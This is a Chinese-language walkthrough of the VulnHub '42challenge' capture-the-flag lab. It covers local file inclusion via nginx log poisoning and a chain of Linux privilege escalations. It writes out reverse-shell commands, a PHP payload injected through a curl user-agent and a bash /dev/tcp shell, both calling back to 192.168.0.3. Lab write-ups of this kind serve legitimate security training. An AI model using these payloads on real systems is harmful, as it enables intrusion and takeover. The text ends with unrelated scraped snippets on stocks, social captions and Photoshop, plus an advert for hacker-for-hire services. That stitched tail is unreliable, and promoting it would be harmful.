近期在学习Linux提权,完成了vulnhub上的42challenge靶场。该靶场在web渗透阶段表现的中规中矩,但在获得shell后的提权过程中,表现很出色。提权题目设计的逻辑严谨(不会出现突然的脑洞让你卡住),注重基础知识的考察,要求的知识面也很广,涉及到密码破解、程序逆向分析、第三方应用提权、进程提权、ssh免密登录、Linux ACL访问控制权限等方面的知识,属于不可多得的精品之作,下面就开始这次靶场实战之旅。
利用命令arp-scan -l来发现靶机,然后看看靶机开放了哪些端口;
在利用nmap的脚本探测下端口可能存在的漏洞;
发现就开放了2个端口,22端口显然不是这里突破的重点,重点应该时web端口。
访问下web看看;
看到这个之一直觉时命令执行漏洞,尝试输入:
127.0.0.1&whoami、127.0.0.1|whoami、127.0.0.1&&whoami、127.0.0.1||whoami都没有正确返回。后来有新的发现:
看到这个,联想到文件包含;
原来是本地包含,下面就利用日志来getshell。尝试了包含/var/log/auth.log,没有成功,那就不能利用ssh登录日志来获取shell,我们通过nmap扫描知道web的中间件是nginx,那我们就可以利用nginx日志来getshell。
访问日志可以读取到;
写入shell:
curl -A "<?=system('nc -nv 192.168.0.3 8888 -e /bin/bash');?>" http://192.168.0.40/index.php
通过文件包含触发反弹;
接收反弹;
错误日志也可读取到;
写入shell;
通过文件包含触发反弹;
接收反弹;
这里也可以将nc的反弹命令改为其他的反弹方式,比如一句话、php反弹或bash反弹都可以,就不逐个演示了,大家根据实际情况选择。
弹回了shell,下一步就该提权了,也到了本靶场的精华之处,开始提权的漫长之旅。
有了www-data用户的shell,先尝试下有没有suid提权的可能;
没有线索,看下用户文件;
后来实践证明是要依次由这5个用户逐个提权,最后才能提权到root用户。
先上内核辅助脚本 linux-exploit-suggester.sh
要是内核可以提权,这靶场就没啥意思了;
在看看辅助脚本linpeas.sh的结果;(结果很多,就给出研判后可用的结果)
找了半天,去看看备份的密码文件。
可以看到用户的密码文件;
然后用john来破解;
爆破作为最基础的一种方式,还是需要掌握对shadow文件的爆破 *** 。现在可以开心的ssh
连接了,进入下一个提权。
ssh连接后,sudo -l 没有发现,但suid发现线索;
运行下试试;
祭出神器IDA来看看;
看的还是累,上gdb;
进入关键函数try,继续看;
在内存里发现了正确的密码;
提权成功,进行下一个阶段。
这里考的是nano的sudo提权;
首先? sudo -u maria /bin/nano 进入界面;
然后在键盘上按住ctrl+r,
接着再按住ctrl+x;
现在就可以输入命令了;
完成了提权;
因为看着不方便,所以可以用bash重新反弹个通道;
echo "bash -i >& /dev/tcp/192.168.0.3/6666 0>&1" | bash
还可以用高端一点的 *** ,ssh免密登录。
kali下生成自己的公钥,口令为空;
靶机上创建 .ssh文件夹;
靶机上把kali的公钥放到认证文件里;
ssh免密登录;
接下来进行下一步提权。
sudo因为没有密码,所以无法查看,suid没发现明显的线索,之前sudo -l和suid两种提权方式都试过了,这里应该考察其他方式了;
也没有考到计划任务提权;
运行下脚本pspy64试试;
发现线索,uid=1003 就是pedro用户;
既然Reporting_System_Info.sh定期运行,于是想到如果能修改该程序的内容,那就可以获得shell。
图中后面的+号表示 Linux ACL访问控制权限,类似于 Windows 系统中分配权限的方式,单独指定用户并单独分配权限,这样就解决了用户身份不足的问题。
可以看到我们不能直接修改Reporting_System_Info.sh,但是根据源码,程序要运行Send_Reporting_Email.sh,我们可以伪造/home/maria/Send_Reporting_Email.sh这个文件,也同样会执行;
到这里这一步提权完成,继续进行下一步;
根据前面进程的监控发现;
uid=1004就是laura用户,根据前面的思路,我们同样想修改程序,先来看看程序的权限;
因为源文件不可以修改,思路是去修改源文件里调用的python库文件;
找到库文件的位置,同时发现库文件是可以修改的;
写入shell,等待执行;
反弹成功;
到这里除了root外所有的用户都提权过一遍,加油!
看到sudo -l 直接提权到root,最后一关简单点,不多解释了。当然,如果你感觉最后一关太简单了,不符合终极boss的气质,也可以玩个加强版。
在目录下发现可疑文件;
把程序拷贝出来,祭出神器IDA分析;
加密程序;
对应的解密程序;
由此可以看出,加密其实就是把明文加5,解密就是把密文减5,这里可以直接写个程序来跑,此处我们直接用动态调试来解决。
先运行下看看;
在打开文件处下断点,准备修改打开文件的参数;因为不修改参数的结果已经看到了,并不是我们想要的结果;
获取了root用户的密码,验证一下试试;
由最开始的ssh登录后直接就能切换到root用户了;
至此,整个靶机就打穿了,回顾一下,感觉还是很有乐趣的,思路很常规,没有脑洞点,但基础知识的考察范围很广,并具有一定的规律性,值得多做总结。
昨日小马读财粉丝团有些人体现,银行股票例如农行、建行等净资产收益率贴近5%,比金融机构直销产品年利率还高,这类净资产收益率高的个股非常值得项目投资吗,有哪些留意点,投资建议又是啥? 【什么叫高净资产...
小雪节气刚过,大雪节气转眼就来了,全部冬季也越来越十分的严寒,雪花飞舞的情况下你都会想些什么?期待在寒冷的冬季为大伙儿送上一些温暖。下边我产生:合适大雪节气发的朋友圈文案语句 2019下雪来到微信朋...
其实无论我们做哪行哪业,最关心的就是我们最后的一个运营成果。其实对于一些做微信公众号的运营伙伴来说,最关心的也是如此,他们关心的就是自己的微信公众号到底要达到多少粉丝才能够达到最终赚钱的这一个目的。...
PS轴向渐变工具是将渐变色由圆心点向外辐射源造成的衔接。开启ps,点一下新创建,建立,左边菜单栏挑选渐变工具,上边工具栏挑选轴向渐变色,最终从管理中心向外拖拽电脑鼠标就可以添充轴向渐变色。 知名品牌型...
亲们在淘宝上买衣服,除了质量,还会比较在意设计,面料质感,版型走线,以及是否合身。淘宝上的衣服五花八门,但是很多都是网红开的店,虽然款式新潮,价格也不算贵,但是质量就没有那么好,比如之前就有很多人吐槽...
求黑客帮忙解冻qq(从哪里找黑客帮忙办事)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、...